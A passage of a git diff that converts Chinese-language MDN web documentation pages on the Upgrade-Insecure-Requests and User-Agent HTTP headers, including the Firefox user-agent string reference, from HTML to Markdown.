    +- {{HTTPHeader("Accept-Encoding")}} +- {{HTTPHeader("Content-Encoding")}} +- {{HTTPHeader("Content-Length")}} +- Header fields that regulate the use of trailers: {{HTTPHeader("TE")}} (requests) and {{HTTPHeader("Trailer")}} (responses). +- [Chunked transfer encoding](https://en.wikipedia.org/wiki/Chunked_transfer_encoding) diff --git a/files/zh-cn/web/http/headers/upgrade-insecure-requests/index.md b/files/zh-cn/web/http/headers/upgrade-insecure-requests/index.md index c5dc77925a3cd5..d8a2f17599bf8f 100644 --- a/files/zh-cn/web/http/headers/upgrade-insecure-requests/index.md +++ b/files/zh-cn/web/http/headers/upgrade-insecure-requests/index.md @@ -7,51 +7,46 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Upgrade-Insecure-Requests --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Upgrade-Insecure-Requests 是一个请求首部,用来向服务器端发送信号,表示客户端优先选择加密及带有身份验证的响应,并且它可以成功处理 {{CSP("upgrade-insecure-requests")}} CSP 指令。

    +**`Upgrade-Insecure-Requests`** 是一个请求首部,用来向服务器端发送信号,表示客户端优先选择加密及带有身份验证的响应,并且它可以成功处理 {{CSP("upgrade-insecure-requests")}} [CSP](/zh-CN/docs/Web/Security/CSP) 指令。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Upgrade-Insecure-Requests: 1
    +```plain +Upgrade-Insecure-Requests: 1 +``` -

    示例

    +## 示例 -

    客户端向服务器端发送信号表示它支持 {{CSP("upgrade-insecure-requests")}} 的升级机制:

    +客户端向服务器端发送信号表示它支持 {{CSP("upgrade-insecure-requests")}} 的升级机制: -
    GET / HTTP/1.1
    +```plain
    +GET / HTTP/1.1
     Host: example.com
    -Upgrade-Insecure-Requests: 1
    +Upgrade-Insecure-Requests: 1 +``` -

    服务器现在可以重定向到这个站点的安全版本。在响应中可以添加一个 {{HTTPHeader("Vary")}} 首部,这样的话,响应就不会被缓存服务器提供给不支持升级机制的客户端了。

    +服务器现在可以重定向到这个站点的安全版本。在响应中可以添加一个 {{HTTPHeader("Vary")}} 首部,这样的话,响应就不会被缓存服务器提供给不支持升级机制的客户端了。 -
    Location: https://example.com/
    -Vary: Upgrade-Insecure-Requests
    +```plain +Location: https://example.com/ +Vary: Upgrade-Insecure-Requests +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Content-Security-Policy")}}
    • -
    • CSP {{CSP("upgrade-insecure-requests")}} directive
    • -
    +- {{HTTPHeader("Content-Security-Policy")}} +- CSP {{CSP("upgrade-insecure-requests")}} directive diff --git a/files/zh-cn/web/http/headers/user-agent/firefox/index.md b/files/zh-cn/web/http/headers/user-agent/firefox/index.md index 76e05a6017fd36..46c3da9714a45b 100644 --- a/files/zh-cn/web/http/headers/user-agent/firefox/index.md +++ b/files/zh-cn/web/http/headers/user-agent/firefox/index.md @@ -3,353 +3,175 @@ title: Firefox 用户代理字符串 (user agent string) 参考 slug: Web/HTTP/Headers/User-Agent/Firefox translation_of: Web/HTTP/Headers/User-Agent/Firefox --- -
    {{HTTPSidebar}}
    - -

    此文档描述了 Firefox 4 及之后版本的 Firefox 浏览器,以及基于 Gecko 2.0 及以后版本的应用所使用的 User Agent(user agent)。对于 Gecko 2.0 之后产生的变化,可参考 Firefox 4 中最终的 User Agent 值(博客文章)。也可以参考 检测 User Agent,以及这篇 Mozilla Hacks 博文:User Agent 检测的历史与操作清单

    - -

    总体形式

    - -

    Firefox 的 User Agent(用户代理)值可被拆分为以下四个部分:

    - -

    Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion

    - -
      -
    • Mozilla/5.0 表明该浏览器与 Mozilla 相兼容的通用字符串。此字段几乎存在于现今所有浏览器的用户代理之中。
    • -
    • platform 描述了浏览器所运行的本地操作系统平台(例如:Windows,Mac,Linux 或 Android),以及其是否为移动设备。Firefox OS 设备只会简单地表示为"Mobile";因为它实际上基于 Web。请注意,platform 的值可包含多个被 ";" 分隔的字段。更多细节与例子可以参考下面内容。
    • -
    • rv:geckoversion 显示了 Gecko 的版本号,(如"17.0")。在最近几个版本的浏览器中,geckoversionfirefoxversion 一致。
    • -
    • Gecko/geckotrail 标明浏览器基于 Gecko。
    • -
    • 在桌面端,geckotrail 的值恒为"20100101"。
    • -
    • Firefox/firefoxversion 标明浏览器是 Firefox,并提供了版本号(如"17.0")。
    • -
    • 自从移动版 Firefox 10 开始,geckotrailfirefoxversion保持一致。
    • -
    - -
    (如果你必须检测浏览器引擎,而不是去做特征检测的话)推荐使用"Gecko"与"rv:"字符串来检测基于 Gecko 的浏览器。因为一些浏览器的 UA 中也包含有"like Gecko"字段。
    - -

    对于其他基于 Gecko 的产品,UA 字符串会符合以下两个规则中的一个,除了下面的描述外,其它字段与上面描述的意义相同。

    - -

    Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail appname/appversion
    - Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion appname/appversion

    - -
      -
    • appname/appversion 标明了应用名与版本,举个例子,这个字段可以是"Camino/2.1.1"或"SeaMonkey/2.7.1"。
    • -
    • -

      Firefox/firefoxversion 是一个可选的兼容字段,一些基于 Gecko 的浏览器选择加入,以使那些支持 Firefox 的网页进行最大的兼容。firefoxversion 应与其提供的 Gecko 版本对应的 Firefox 版本相同。一些基于 Gecko 的浏览器可能未加入此此段,因此,在检测的时候,应当使用"Gecko"而非"Firefox"。是否展示这个字段由 about:config 中"general.useragent.compatMode.firefox"项设定的布尔值控制。

      -
    • -
    - -

    User Agent(UA String)的platform部分,标明了 Firefox 是否运行在手机或平板尺寸的设备上。当 Firefox 运行在移动设备上时,UA 中的这个字段将包含Mobile;。当 Firefox 运行于平板设备时,UA 中的这个字段将包含Tablet;。例如:

    - -
    Mozilla/5.0 (Android 4.4; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0
    -Mozilla/5.0 (Android 4.4; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
    - -
    上述版本号并不对应当前版本,请避免基于此例子中的版本号。
    - -

    推荐的判断设备尺寸的方法是使用 CSS 媒体查询 (CSS Media Query)。但是,当你需要使用 UA 判断用户是否使用移动尺寸的设备,请查找"Mobi"(以兼容使用"Mobi"的 Opera 移动浏览器)。不要 假定"Android"字符串与设备尺寸存在关联。这样的话,在“Firefox 在其它操作系统的移动尺寸设备上运行”或“使用 Android 的笔记本电脑”的情形下,你的代码才能正确运行。此外,请使用触摸检测以分辨设备是否支持触摸,不要使用"Mobi"或"Tablet",因为也有很多触摸设备并非移动设备或平板。

    - -
    Firefox OS 设备的 UA 中不会有标明操作系统的字段,比如"Mozilla/5.0 (Mobile; rv:15.0) Gecko/15.0 Firefox/15.0"。因为其平台实为 Web。
    - -

    Windows

    - -

    除却安腾平台与 16 位平台,Windows 中的 User Agent 值有如下几类,其中 x.y 代表 Windows NT 版本,(例如:Windows NT 6.1)。

    - - - - - - - - - - - - - - - - - - - - - - -
    Windows 版本Gecko User Agent
    Windows NT on x86Mozilla/5.0 (Windows NT x.y; rv:10.0) Gecko/20100101 Firefox/10.0
    Windows NT, Win64 on x64Mozilla/5.0 (Windows NT x.y; Win64; x64; rv:10.0) Gecko/20100101 Firefox/10.0
    Windows NT, WOW64Mozilla/5.0 (Windows NT x.y; WOW64; rv:10.0) Gecko/20100101 Firefox/10.0
    - -

    Macintosh

    - -

    下表中 x.y 为 Mac OS X 的版本(例如:Mac OS X 10.6)。

    - - - - - - - - - - - - - - - - - - -
    Mac OS X 版本Gecko User Agent
    Mac OS X on Intel x86 or x86_64Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:10.0) Gecko/20100101 Firefox/10.0
    Mac OS X on PowerPCMozilla/5.0 (Macintosh; PPC Mac OS X x.y; rv:10.0) Gecko/20100101 Firefox/10.0
    - -

    Linux

    - -

    Linux 是一个高度分化的平台,下面给出了几个常见的例子。

    - - - - - - - - - - - - - - - - - - - - - - - - - - -
    Linux 版本Gecko User Agent 值
    Linux desktop, i686Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0
    Linux desktop, x86_64Mozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0
    Linux desktop, i686 running on x86_64Mozilla/5.0 (X11; Linux i686 on x86_64; rv:10.0) Gecko/20100101 Firefox/10.0
    Nokia N900 Linux mobile, on the Fennec browserMozilla/5.0 (Maemo; Linux armv7l; rv:10.0) Gecko/20100101 Firefox/10.0 Fennec/10.0
    - -

    Android (40 版本及以下)

    - - - - - - - - - - - - - - - - - - - - -
    设备类型Gecko User Agent 值
    PhoneMozilla/5.0 (Android; Mobile; rv:40.0) Gecko/40.0 Firefox/40.0
    TabletMozilla/5.0 (Android; Tablet; rv:40.0) Gecko/40.0 Firefox/40.0
    - -

    Android (41 版本及以上)

    - -

    从 41 版本开始,Firefox Android 会在 platform 字段中包含 Android 版本号。为增加兼容性,如果浏览器在 Android 4 及以下版本的 Android 设备上运行,此字段会使用 4.4,Android 4.4 及以上版本的则会使用当前版本号。请注意,目前发布至不同版本的 Android 设备的 Gecko,是拥有相同兼容性的同一个 Gecko 的不同架构(ARMv7、x86、x86_64)编译版。

    - - - - - - - - - - - - - - - - - - -
    设备类型Gecko User Agent 值
    PhoneMozilla/5.0 (Android 4.4; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0
    TabletMozilla/5.0 (Android 4.4; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
    - -

    Firefox OS

    - - - - - - - - - - - - - - - - - - - - - - - - -
    设备类型Gecko User Agent 值
    PhoneMozilla/5.0 (Mobile; rv:26.0) Gecko/26.0 Firefox/26.0
    TabletMozilla/5.0 (Tablet; rv:26.0) Gecko/26.0 Firefox/26.0
    TVMozilla/5.0 (TV; rv:44.0) Gecko/44.0 Firefox/44.0
    Device-specificMozilla/5.0 (Mobile; nnnn; rv:26.0) Gecko/26.0 Firefox/26.0
    - -

    具有设备特征的 User Agent 值

    - -

    尽管 Mozilla 强烈反对,然而一些手机制造商仍然会在其设备的 User Agent 值中包含标明设备 ID 的字段。在这种情况下,Firefox OS 的 User Agent 会与上表中所示的具有设备特征 (Device-specific) 的字符串保持一致,其中nnnn;代表设备制造商的设备代码(参见引导)。其中一些是以下几个形式: "NexusOne;","ZTEOpen;","Open C;"(另请注意,同样不鼓励在其中加入空格)。我们提供这些信息以辅助您设定 User Agent 判断逻辑,但 Mozilla 不鼓励从 User Agent 值中检测设备 ID。

    - -

    这里有一个可以检测所有移动设备的 JavaScript 正则表达式,包含那些 UA 字符串中包含设备 id 的设备:

    - -
    /mobi/i
    - -

    其中 i 为大小写敏感的标记,而 mobi 则将匹配所有的移动设备。

    - -

    Firefox OS 版本号

    - -

    由于 Firefox OS 的版本号未被包含于 User Agent 值中,我们可以通过 User Agent 中的 Gecko 版本号来推断其版本信息。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    Firefox OS 版本号Gecko 版本号
    1.0.118.0
    1.118.1
    1.226.0
    1.328.0
    1.430.0
    2.032.0
    2.134.0
    2.237
    2.544
    - -
    -

    通过查看 Mercurial 版本库名称,可以较容易地找出对应关系。其中以 mozilla-b2g 开头的发布便属于 Firefox OS,在其名字中包含了 Firefox OS 与 Gecko 的版本号。

    -
    - -

    Firefox OS 的版本号由 4 位数字组成:X.X.X.Y。前两位数字由 Mozilla 产品团度决定,表明是包含新特性的版本(如:v1.1, 1.2 等)。第三位数字随安全更新而自增(约 6 周左右),第四位数字由 OEM 维护。

    - -

    iOS 上的 Firefox

    - -

    Firefox iOS 版使用 Safari 移动版的默认 User Agent 再加上 FxiOS/<version> 字段,与 iOS 上的 Chrome 标记自己的方式 一致。

    - - - - - - - - - - - - - - - - - - - - - - -
    设备型号Firefox iOS User Agent 值
    iPodMozilla/5.0 (iPod touch; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4
    iPhoneMozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4
    iPadMozilla/5.0 (iPad; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4
    - -

    Firefox Web 运行库(Web Runtime)

    - -

    在 Firefox Web 运行库(Web Runtime)中,使用与桌面版 Firefox 一致的 User Agent 值。

    - -

    其他基于 Gecko 的浏览器

    - -

    以下是不同平台下,一些基于 Gecko 的浏览器的 User Agent 值样例。请注意,其中很多并未基于 Gecko 2.0 发布。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    浏览器Gecko User Agent 值
    Firefox for Maemo (Nokia N900)Mozilla/5.0 (Maemo; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1
    Camino on MacMozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Camino/2.2.1
    SeaMonkey on WindowsMozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1
    SeaMonkey on MacMozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1
    SeaMonkey on LinuxMozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1
    - -

    对于应用、供应商、扩展程序的注意事项

    - -

    在 Firefox 4 和 Gecko 2.0 之前,扩展程序可以通过 general.useragent.extra.identifier 附加 User Agent 值,(参考 废弃的 User Agent 值参考 )。不过 {{ Bug(581008) }} 出现后,这种操作已被禁止。

    - -

    在过去,特定的插件、扩展程序会在 User Agent 中添加字段,以表明他们被安装的来源网站。如果非要如此(请注意,这会减慢每个请求的发送速度),推荐的做法是 设定自定义 HTTP 请求头

    - -

    参见

    - - - -
    -

    Comments to mozilla.dev.platform

    +{{HTTPSidebar}} + +此文档描述了 Firefox 4 及之后版本的 Firefox 浏览器,以及基于 [Gecko](/zh-CN/docs/Mozilla/Gecko) 2.0 及以后版本的应用所使用的 User Agent(user agent)。对于 Gecko 2.0 之后产生的变化,可参考 [Firefox 4 中最终的 User Agent 值](https://hacks.mozilla.org/2010/09/final-user-agent-string-for-firefox-4/)(博客文章)。也可以参考 [检测 User Agent](/zh-CN/docs/Web/HTTP/Browser_detection_using_the_user_agent),以及这篇 Mozilla Hacks 博文:[User Agent 检测的历史与操作清单](https://hacks.mozilla.org/2013/09/user-agent-detection-history-and-checklist/)。 + +## 总体形式 + +Firefox 的 User Agent(用户代理)值可被拆分为以下四个部分: + +**Mozilla/5.0 (_platform_; rv:_geckoversion_) Gecko/_geckotrail_ Firefox/_firefoxversion_** + +- _**Mozilla/5.0**_ 表明该浏览器与 Mozilla 相兼容的通用字符串。此字段几乎存在于现今所有浏览器的用户代理之中。 +- **_platform_** 描述了浏览器所运行的本地操作系统平台(例如:Windows,Mac,Linux 或 Android),以及其是否为移动设备。Firefox OS 设备只会简单地表示为"Mobile";因为它实际上基于 Web。请注意,**_platform_** 的值可包含多个被 ";" 分隔的字段。更多细节与例子可以参考下面内容。 +- **rv:_geckoversion_** 显示了 Gecko 的版本号,(如*"17.0"*)。在最近几个版本的浏览器中,**_geckoversion_** 与 **_firefoxversion_** 一致。 +- **_Gecko/geckotrail_** 标明浏览器基于 Gecko。 +- 在桌面端,_**geckotrail**_ 的值恒为"20100101"。 +- _**Firefox/firefoxversion**_ 标明浏览器是 Firefox,并提供了版本号(如"_17.0"_)。 +- 自从移动版 Firefox 10 开始,***geckotrail***与**_firefoxversion_**保持一致。 + +> **备注:** (如果你必须检测浏览器引擎,而不是去做特征检测的话)推荐使用"_Gecko_"与"_rv:_"字符串来检测基于 Gecko 的浏览器。因为一些浏览器的 UA 中也包含有"_like Gecko_"字段。 + +对于其他基于 Gecko 的产品,UA 字符串会符合以下两个规则中的一个,除了下面的描述外,其它字段与上面描述的意义相同。 + +**Mozilla/5.0 (_platform_; rv:_geckoversion_) Gecko/_geckotrail_ _appname_/_appversion_** +**Mozilla/5.0 (_platform_; rv:_geckoversion_) Gecko/_geckotrail_ Firefox/_firefoxversion_ _appname_/_appversion_** + +- **_appname/appversion_** 标明了应用名与版本,举个例子,这个字段可以是"_Camino/2.1.1_"或"_SeaMonkey/2.7.1_"。 +- _**Firefox/firefoxversion**_ 是一个可选的兼容字段,一些基于 Gecko 的浏览器选择加入,以使那些支持 Firefox 的网页进行最大的兼容。_**firefoxversion**_ 应与其提供的 Gecko 版本对应的 Firefox 版本相同。一些基于 Gecko 的浏览器可能未加入此此段,因此,在检测的时候,应当使用"Gecko"而非"Firefox"。是否展示这个字段由 about:config 中*"general.useragent.compatMode.firefox"*项设定的布尔值控制。 + +User Agent(UA String)的**_platform_**部分,标明了 Firefox 是否运行在手机或平板尺寸的设备上。当 Firefox 运行在移动设备上时,UA 中的这个字段将包含**Mobile;**。当 Firefox 运行于平板设备时,UA 中的这个字段将包含**Tablet;**。例如: + +```plain +Mozilla/5.0 (Android 4.4; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0 +Mozilla/5.0 (Android 4.4; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 +``` + +> **备注:** 上述版本号并不对应当前版本,请避免基于此例子中的版本号。 + +推荐的判断设备尺寸的方法是使用 CSS 媒体查询 (CSS Media Query)。但是,当你需要使用 UA 判断用户是否使用移动尺寸的设备,请查找"**Mobi**"(以兼容使用"Mobi"的 Opera 移动浏览器)。**不要** 假定"Android"字符串与设备尺寸存在关联。这样的话,在“Firefox 在其它操作系统的移动尺寸设备上运行”或“使用 Android 的笔记本电脑”的情形下,你的代码才能正确运行。此外,请使用触摸检测以分辨设备是否支持触摸,不要使用"Mobi"或"Tablet",因为也有很多触摸设备并非移动设备或平板。 + +> **备注:** Firefox OS 设备的 UA 中不会有标明操作系统的字段,比如"Mozilla/5.0 (Mobile; rv:15.0) Gecko/15.0 Firefox/15.0"。因为其平台实为 Web。 + +## Windows + +除却安腾平台与 16 位平台,Windows 中的 User Agent 值有如下几类,其中 _x.y_ 代表 Windows NT 版本,(例如:Windows NT 6.1)。 + +| Windows 版本 | Gecko User Agent | +| ------------------------ | --------------------------------------------------------------------------------- | +| Windows NT on x86 | Mozilla/5.0 (Windows NT _x_._y_; rv:10.0) Gecko/20100101 Firefox/10.0 | +| Windows NT, Win64 on x64 | Mozilla/5.0 (Windows NT _x_._y_; Win64; x64; rv:10.0) Gecko/20100101 Firefox/10.0 | +| Windows NT, WOW64 | Mozilla/5.0 (Windows NT _x_._y_; WOW64; rv:10.0) Gecko/20100101 Firefox/10.0 | + +## Macintosh + +下表中 _x.y_ 为 Mac OS X 的版本(例如:Mac OS X 10.6)。 + +| Mac OS X 版本 | Gecko User Agent | +| ------------------------------- | ---------------------------------------------------------------------------------- | +| Mac OS X on Intel x86 or x86_64 | Mozilla/5.0 (Macintosh; Intel Mac OS X _x.y_; rv:10.0) Gecko/20100101 Firefox/10.0 | +| Mac OS X on PowerPC | Mozilla/5.0 (Macintosh; PPC Mac OS X _x.y_; rv:10.0) Gecko/20100101 Firefox/10.0 | + +## Linux + +Linux 是一个高度分化的平台,下面给出了几个常见的例子。 + +| Linux 版本 | Gecko User Agent 值 | +| ---------------------------------------------- | ---------------------------------------------------------------------------------- | +| Linux desktop, i686 | Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0 | +| Linux desktop, x86_64 | Mozilla/5.0 (X11; Linux x86_64; rv:10.0) Gecko/20100101 Firefox/10.0 | +| Linux desktop, i686 running on x86_64 | Mozilla/5.0 (X11; Linux i686 on x86_64; rv:10.0) Gecko/20100101 Firefox/10.0 | +| Nokia N900 Linux mobile, on the Fennec browser | Mozilla/5.0 (Maemo; Linux armv7l; rv:10.0) Gecko/20100101 Firefox/10.0 Fennec/10.0 | + +## Android (40 版本及以下) + +| 设备类型 | Gecko User Agent 值 | +| -------- | -------------------------------------------------------------- | +| Phone | Mozilla/5.0 (Android; Mobile; rv:40.0) Gecko/40.0 Firefox/40.0 | +| Tablet | Mozilla/5.0 (Android; Tablet; rv:40.0) Gecko/40.0 Firefox/40.0 | +| | | + +## Android (41 版本及以上) + +从 41 版本开始,Firefox Android 会在 _platform_ 字段中包含 Android 版本号。为增加兼容性,如果浏览器在 Android 4 及以下版本的 Android 设备上运行,此字段会使用 4.4,Android 4.4 及以上版本的则会使用当前版本号。请注意,目前发布至不同版本的 Android 设备的 Gecko,是拥有相同兼容性的同一个 Gecko 的不同架构(ARMv7、x86、x86_64)编译版。 + +| 设备类型 | Gecko User Agent 值 | +| -------- | ------------------------------------------------------------------ | +| Phone | Mozilla/5.0 (Android 4.4; Mobile; rv:41.0) Gecko/41.0 Firefox/41.0 | +| Tablet | Mozilla/5.0 (Android 4.4; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 | + +## Firefox OS + +| 设备类型 | Gecko User Agent 值 | +| --------------- | ----------------------------------------------------------------- | +| Phone | Mozilla/5.0 (Mobile; rv:26.0) Gecko/26.0 Firefox/26.0 | +| Tablet | Mozilla/5.0 (Tablet; rv:26.0) Gecko/26.0 Firefox/26.0 | +| TV | Mozilla/5.0 (TV; rv:44.0) Gecko/44.0 Firefox/44.0 | +| Device-specific | Mozilla/5.0 (Mobile; _**nnnn;**_ rv:26.0) Gecko/26.0 Firefox/26.0 | + +### 具有设备特征的 User Agent 值 + +尽管 Mozilla **强烈反对**,然而一些手机制造商仍然会在其设备的 User Agent 值中包含标明设备 ID 的字段。在这种情况下,Firefox OS 的 User Agent 会与上表中所示的具有设备特征 (Device-specific) 的字符串保持一致,其中**_nnnn;_**代表设备制造商的设备代码(参见[引导](https://wiki.mozilla.org/B2G/User_Agent/Device_Model_Inclusion_Requirements))。其中一些是以下几个形式: "**NexusOne;**","**ZTEOpen;**","**Open C;**"(另请注意,同样不鼓励在其中加入空格)。我们提供这些信息以辅助您设定 User Agent 判断逻辑,但 Mozilla 不鼓励从 User Agent 值中检测设备 ID。 + +这里有一个可以检测所有移动设备的 JavaScript 正则表达式,包含那些 UA 字符串中包含设备 id 的设备: + +```plain +/mobi/i +``` + +其中 `i` 为大小写敏感的标记,而 `mobi` 则将匹配所有的移动设备。 + +### Firefox OS 版本号 + +由于 Firefox OS 的版本号未被包含于 User Agent 值中,我们可以通过 User Agent 中的 Gecko 版本号来推断其版本信息。 + +| Firefox OS 版本号 | Gecko 版本号 | +| ----------------- | ------------ | +| 1.0.1 | 18.0 | +| 1.1 | 18.1 | +| 1.2 | 26.0 | +| 1.3 | 28.0 | +| 1.4 | 30.0 | +| 2.0 | 32.0 | +| 2.1 | 34.0 | +| 2.2 | 37 | +| 2.5 | 44 | + +> **备注:** 通过查看 [Mercurial 版本库名称](https://hg.mozilla.org/releases),可以较容易地找出对应关系。其中以 `mozilla-b2g` 开头的发布便属于 Firefox OS,在其名字中包含了 Firefox OS 与 Gecko 的版本号。 + +Firefox OS 的版本号由 4 位数字组成:`X.X.X.Y`。前两位数字由 Mozilla 产品团度决定,表明是包含新特性的版本(如:v1.1, 1.2 等)。第三位数字随安全更新而自增(约 6 周左右),第四位数字由 OEM 维护。 + +## iOS 上的 Firefox + +Firefox iOS 版使用 Safari 移动版的默认 User Agent 再加上 **FxiOS/\** 字段,与 [iOS 上的 Chrome 标记自己的方式](https://developer.chrome.com/multidevice/user-agent#chrome_for_ios_user_agent) 一致。 + +| 设备型号 | Firefox iOS User Agent 值 | +| -------- | ------------------------------------------------------------------------------------------------------------------------------------------- | +| iPod | Mozilla/5.0 (iPod touch; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) **FxiOS/1.0** Mobile/12F69 Safari/600.1.4 | +| iPhone | Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) **FxiOS/1.0** Mobile/12F69 Safari/600.1.4 | +| iPad | Mozilla/5.0 (iPad; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) **FxiOS/1.0** Mobile/12F69 Safari/600.1.4 | + +## Firefox Web 运行库(Web Runtime) + +在 Firefox Web 运行库(Web Runtime)中,使用与桌面版 Firefox 一致的 User Agent 值。 + +## 其他基于 Gecko 的浏览器 + +以下是不同平台下,一些基于 Gecko 的浏览器的 User Agent 值样例。请注意,其中很多并未基于 Gecko 2.0 发布。 + +| 浏览器 | Gecko User Agent 值 | +| ------------------------------ | ----------------------------------------------------------------------------------------------------- | +| Firefox for Maemo (Nokia N900) | Mozilla/5.0 (Maemo; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1 | +| Camino on Mac | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Camino/2.2.1 | +| SeaMonkey on Windows | Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1 | +| SeaMonkey on Mac | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1 | +| SeaMonkey on Linux | Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1 | + +## 对于应用、供应商、扩展程序的注意事项 + +在 Firefox 4 和 Gecko 2.0 之前,扩展程序可以通过 `general.useragent.extra.identifier` 附加 User Agent 值,(参考 [废弃的 User Agent 值参考 ](https://developer.mozilla.org/En/User_Agent_Strings_Reference))。不过 {{ Bug(581008) }} 出现后,这种操作已被禁止。 + +在过去,特定的插件、扩展程序会在 User Agent 中添加字段,以表明他们被安装的来源网站。如果非要如此(请注意,这会减慢每个请求的发送速度),推荐的做法是 [设定自定义 HTTP 请求头](https://developer.mozilla.org/en/Setting_HTTP_request_headers)。 + +## 参见 + +- [Firefox OS User Agent](http://lawrencemandel.com/2012/07/27/decision-made-firefox-os-user-agent-string/) (参考博客文章以及 [bug 777710](https://bugzilla.mozilla.org/show_bug.cgi?id=777710)) +- [Firefox 4 的最终 User Agent](https://hacks.mozilla.org/2010/09/final-user-agent-string-for-firefox-4/)(博客文章) +- [检测 UA 字符串以获得跨浏览器支持](/en/Browser_Detection_and_Cross_Browser_Support) +- [window.navigator.userAgent](../../../../en/DOM/window.navigator.userAgent) +- [为 Fennec UA 字符串添加 Android 版本 (bug 1169772)](https://bugzilla.mozilla.org/show_bug.cgi?id=) + +--- + +Comments to [mozilla.dev.platform](news://news.mozilla.org/netscape.public.mozilla.netlib) diff --git a/files/zh-cn/web/http/headers/user-agent/index.md b/files/zh-cn/web/http/headers/user-agent/index.md index 9952a957268c45..510afb319aacf4 100644 --- a/files/zh-cn/web/http/headers/user-agent/index.md +++ b/files/zh-cn/web/http/headers/user-agent/index.md @@ -9,128 +9,120 @@ tags: - 首部 translation_of: Web/HTTP/Headers/User-Agent --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} +**User-Agent** 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。 +> **备注:** 请阅读[使用用户代理字段进行浏览器检测](/zh-CN/docs/Web/HTTP/Browser_detection_using_the_user_agent)来了解为什么为不同的浏览器提供不同的页面或者服务通常不是一个好主意。 -

    User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。

    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -
    -

    请阅读使用用户代理字段进行浏览器检测来了解为什么为不同的浏览器提供不同的页面或者服务通常不是一个好主意。

    -
    +## 语法 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}no
    +```plain +User-Agent: / +``` -

    语法

    +浏览器通常使用的格式为: -
    User-Agent: <product> / <product-version> <comment>
    +```plain +User-Agent: Mozilla/ () () +``` -

    +## 指令 -

    浏览器通常使用的格式为:

    +- \ + - : 产品识别码。 +- \ + - : 产品版本号。 +- \ + - : 零个或多个关于组成产品信息的注释。 -
    User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions>
    +## Firefox UA 字符串 -

    指令

    +查阅 [Firefox 用户代理字符串参考](/zh-CN/docs/Web/HTTP/Headers/User-Agent/Firefox)来获取更多关于基于 Firefox 和 Gecko 渲染引擎的用户代理字符串的细节信息。Firefox 的用户代理字符串自身可以分为四部分: -
    -
    <product>
    -
    产品识别码。
    -
    <product-version>
    -
    产品版本号。
    -
    <comment>
    -
    零个或多个关于组成产品信息的注释。
    -
    +**Mozilla/5.0 (_platform_; rv:_geckoversion_) Gecko/_geckotrail_ Firefox/_firefoxversion_** -

    Firefox UA 字符串

